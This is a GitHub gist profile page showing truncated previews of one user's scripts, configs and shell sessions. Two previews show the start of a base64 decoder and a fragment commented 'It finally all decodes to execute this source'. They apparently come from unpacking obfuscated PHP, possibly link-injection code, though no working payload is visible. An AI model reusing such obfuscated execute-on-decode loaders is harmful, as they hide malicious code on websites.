Skip to content

Instantly share code, notes, and snippets.

View allaryin's full-sized avatar

Ammon Lauritzen allaryin

  • Austin, TX
View GitHub Profile
#!/bin/bash
function logrotate {
FNAME=$1
MAX=$2
for IDX in `seq ${MAX} -1 1`
do
OLD=$(( $IDX - 1 ))
if [ -e "${FNAME}.${OLD}" ]
then
<?xml version="1.0" ?>
<configuration>
<section name="global_options">
<value name="pid_file">/var/run/php-fpm.pid</value>
<value name="error_log">/var/log/php-fpm.log</value>
<value name="log_level">notice</value>
<value name="emergency_restart_threshold">10</value>
<value name="emergency_restart_interval">1m</value>
<value name="process_control_timeout">5s</value>
<value name="daemonize">yes</value>
<?
$a=0;
$b=0;
$c=0;
$d=3;
$glob=base64_decode($o);
$e=0;
$f=(ord($glob[1])<<8)+ord($glob[2]);
$g=16;
$h="";
<?php
/**
* It finally all decodes to execute this source
*/
#$debug = 1;
$linkanzahl = 4;
$ uptime
01:55:41 up 76 days, 14:44, 3 users, load average: 0.32, 0.74, 0.69
$ free
total used free shared buffers cached
Mem: 8168412 6478144 1690268 0 149076 412788
-/+ buffers/cache: 5916280 2252132
Swap: 2040244 327144 1713100
$ dd if=/dev/zero of=`mktemp` bs=1MB count=1024
djabberd:
http://www.danga.com/djabberd/
danga - gearman, memcached guys
perl, ldap, sqlite
runs lj's jabber
openfire:
http://www.igniterealtime.org/projects/openfire/plugins.jsp
looked at this before and liked it
all transports are available, pretty gui
#!/usr/bin/python
import sys
from subprocess import *
ERR_OK = 0
ERR_WARN = 1
ERR_CRIT = 2
ERR_UNKNOWN = 3
#!/bin/bash
for DIR in $@; do
if [ ! -d $DIR ]; then
echo "$DIR is not a directory"
else
echo "Animating all PNG's from $DIR"
TMPDIR=`mktemp -d -p . .animate.XXXXXX`
echo "- tmp dir = $TMPDIR"
echo -n "- converting png's to gif ... "
<?
$keyfile = "somethingsomething.rsa";
if( !file_exists($keyfile) ) {
die( "! $keyfile not found!\n" );
}
$kuid = fileowner($keyfile);
$kgid = filegroup($keyfile);
$euid = posix_geteuid();
$kpw = posix_getpwuid( $kuid ); $kuname = $kpw['name'];
mysql> create table foo (id integer primary key auto_increment not null, port integer uniqu
e null);
Query OK, 0 rows affected (0.00 sec)
mysql> insert into foo (port) values (200);
Query OK, 1 row affected (0.00 sec)
mysql> insert into foo (port) values (null);
Query OK, 1 row affected (0.00 sec)